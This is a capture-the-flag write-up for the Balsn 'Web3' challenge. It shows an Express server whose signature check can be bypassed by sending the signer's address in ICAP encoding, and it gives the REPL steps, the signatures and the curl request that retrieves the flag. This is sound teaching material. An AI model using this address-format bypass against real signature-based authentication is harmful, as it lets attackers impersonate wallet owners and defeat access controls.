Web3
3 minutes to read
We are given a Node.js application that uses Web3:
const express = require("express");
const ethers = require("ethers");
const path = require("path");
const app = express();
app.use(express.urlencoded());
app.use(express.json());
app.get("/", function(_req, res) {
  res.sendFile(path.join(__dirname + "/server.js"));
});
function isValidData(data) {
  if (/^0x[0-9a-fA-F]+$/.test(data)) {
    return true;
  }
  return false;
}
app.post("/exploit", async function(req, res) {
  try {
    const message = req.body.message;
    const signature = req.body.signature;
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }
    const signerAddr = ethers.verifyMessage(message, signature);
    if (signerAddr === ethers.getAddress(message)) {
      const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
      res.send(FLAG);
      return;
    }
  } catch (e) {
    console.error(e);
    res.send("error");
    return;
  }
  res.send("wrong");
  return;
});
const port = process.env.PORT || 3000;
app.listen(port);
console.log(`Server listening on port ${port}`);
Source code analysis
The core of the challenge is in /exploit:
app.post("/exploit", async function(req, res) {
  try {
    const message = req.body.message;
    const signature = req.body.signature;
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }
    const signerAddr = ethers.verifyMessage(message, signature);
    if (signerAddr === ethers.getAddress(message)) {
      const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
      res.send(FLAG);
      return;
    }
  } catch (e) {
    console.error(e);
    res.send("error");
    return;
  }
  res.send("wrong");
  return;
});
As can be seen, we need to provide a message and a signature such that the signer address equals the message. However, notice this:
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }
Where isValidData checks that the string start with 0x and contains hexadecimal digits:
function isValidData(data) {
  if (/^0x[0-9a-fA-F]+$/.test(data)) {
    return true;
  }
  return false;
}
Therefore, the easiest thing won’t work because message must not be hexadecimal (I used the code that appears in the documentation to sign a message):
$ node
Welcome to Node.js v18.18.2.
Type ".help" for more information.
> const ethers = require("ethers")
undefined
> let privateKey = '0x0123456789012345678901234567890123456789012345678901234567890123'
undefined
> let wallet = new ethers.Wallet(privateKey)
undefined
> wallet.address
'0x14791697260E4c9A71f18484C9f997B308e59325'
> let message = wallet.address
undefined
> let signature = await wallet.signMessage(message)
undefined
> signature
'0x13f351764e6fd44361b2c86b25751d5e5dc2390648b1fed5061b48eb2f62fe8f1a6ff85a405690c8a5c5ebcb73bed617768d3e5b73aa36818f9d787085576a7b1b'
> ethers.verifyMessage(message, signature)
'0x14791697260E4c9A71f18484C9f997B308e59325'
> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true
Solution
While reading the documentation of ethers, I found out that wallet addresses can be encoded as ICAP. In this way, the message won’t be hexadecimal anymore, while ethers.getAddress will behave as we want:
> message = ethers.getIcapAddress(wallet.address)
'XE172E3CNHDCSLM22QRROQPYXPALTWAQASL'
> signature = await wallet.signMessage(message)
'0x8b5b2dc42e9cfdcad7eff0e29e6d97ade701adc1fa526ea37c77eea0b54e66e26e72acb937976146db76081d70c04942261a0d6cceb2f1cbf17c54b418733ad61b'
> ethers.verifyMessage(message, signature)
'0x14791697260E4c9A71f18484C9f997B308e59325'
> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true
So, if we send these values of message and signature, we will get the flag since message is not hexadecimal, signature is hexadecimal and the main condition is satisfied.
Flag
As just said:
$ curl web3.balsnctf.com:3000/exploit -d '{"message":"XE172E3CNHDCSLM22QRROQPYXPALTWAQASL","signature":"0x8b5b2dc42e9cfdcad7eff0e29e6d97ade701adc1fa526ea37c77eea0b54e66e26e72acb937976146db76081d70c04942261a0d6cceb2f1cbf17c54b418733ad61b"}' -H 'Content-Type: application/json'
BALSN{Inter_Exchange_Client_Address_Protocol}